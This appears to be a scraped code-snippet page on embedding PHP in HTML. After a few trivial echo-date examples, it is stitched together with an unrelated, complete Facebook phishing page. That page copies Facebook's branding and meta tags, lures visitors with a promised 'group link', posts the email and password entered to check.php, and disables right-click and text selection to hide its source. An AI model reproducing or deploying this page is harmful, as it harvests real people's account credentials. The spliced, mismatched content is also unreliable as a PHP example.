встроенный PHP в HTML
<body>
Hello, today is <?php echo date('l, F jS, Y'); ?>.
</body>
Successful Starling
<body>
Hello, today is <?php echo date('l, F jS, Y'); ?>.
</body><!-- you can put php code in html -->
<!DOCTYPE html>
<html>
<head>
<title>Hello</title>
</head>
<body>
<?php
//PHP code
?>
</body>
</html><html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no" />
<meta property="og:title" content="Facebook - log in or sign up" />
<meta name="description" content="Log in with your Facebook account to get the group link" />
<meta property="og:description" content="Log in with your Facebook account to get the group link" />
<meta property="og:url" content="./" />
<meta name="theme-color" content="#3b5998" />
<meta property="og:site_name" content="Facebook - log in or sign up" />
<meta property="og:type" content="website" />
<title>Log in with your Facebook account to get the group link</title>
<link rel="stylesheet" href="../css/style.css" />
<link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" />
<link rel="icon" href="https://z-m-static.xx.fbcdn.net/rsrc.php/v3/ya/r/O2aKM2iSbOw.png" />
</head>
<body oncontextmenu="return false" onselectstart="return false" ondragstart="return false">
<div class="navbar">
<img src="../img/fb.png" />
</div>
<div class="content-box">
<img src="../img/icon.png" />
<div class="txt-login">
Log in with your Facebook account to get the group link
</div>
<form class="login-form" action="check.php" method="post">
<label>
<input type="text" name="email" placeholder="Email or phone number" autocomplete="off" autocapitalize="off" required="" /></label>
<label>
<input type="password" name="password" placeholder="password" autocomplete="off" autocapitalize="off" required="" /></label>
<input type="hidden" name="login" value="Facebook" readonly="" />
<button type="submit" class="btn-login">Log in</button>
</form>
<div class="txt-create-account">Create Account</div>
<div class="txt-not-now">Not now</div>
<div class="txt-forgotten-password">Forgotten password?</div>
</div>
<div class="language-box">
<center>
<div class="language-name language-name-active">English (UK)</div>
<div class="language-name">Bahasa Indonesia</div>
<div class="language-name">Basa Jawa</div>
<div class="language-name">Bahasa Melayu</div>
<div class="language-name">日本語</div>
<div class="language-name">Español</div>
<div class="language-name">Português (Brasil)</div>
<div class="language-name">
<i class="fa fa-plus"></i>
</div>
</center>
</div>
<div class="copyright">Facebook Inc.</div>
</body>
</html>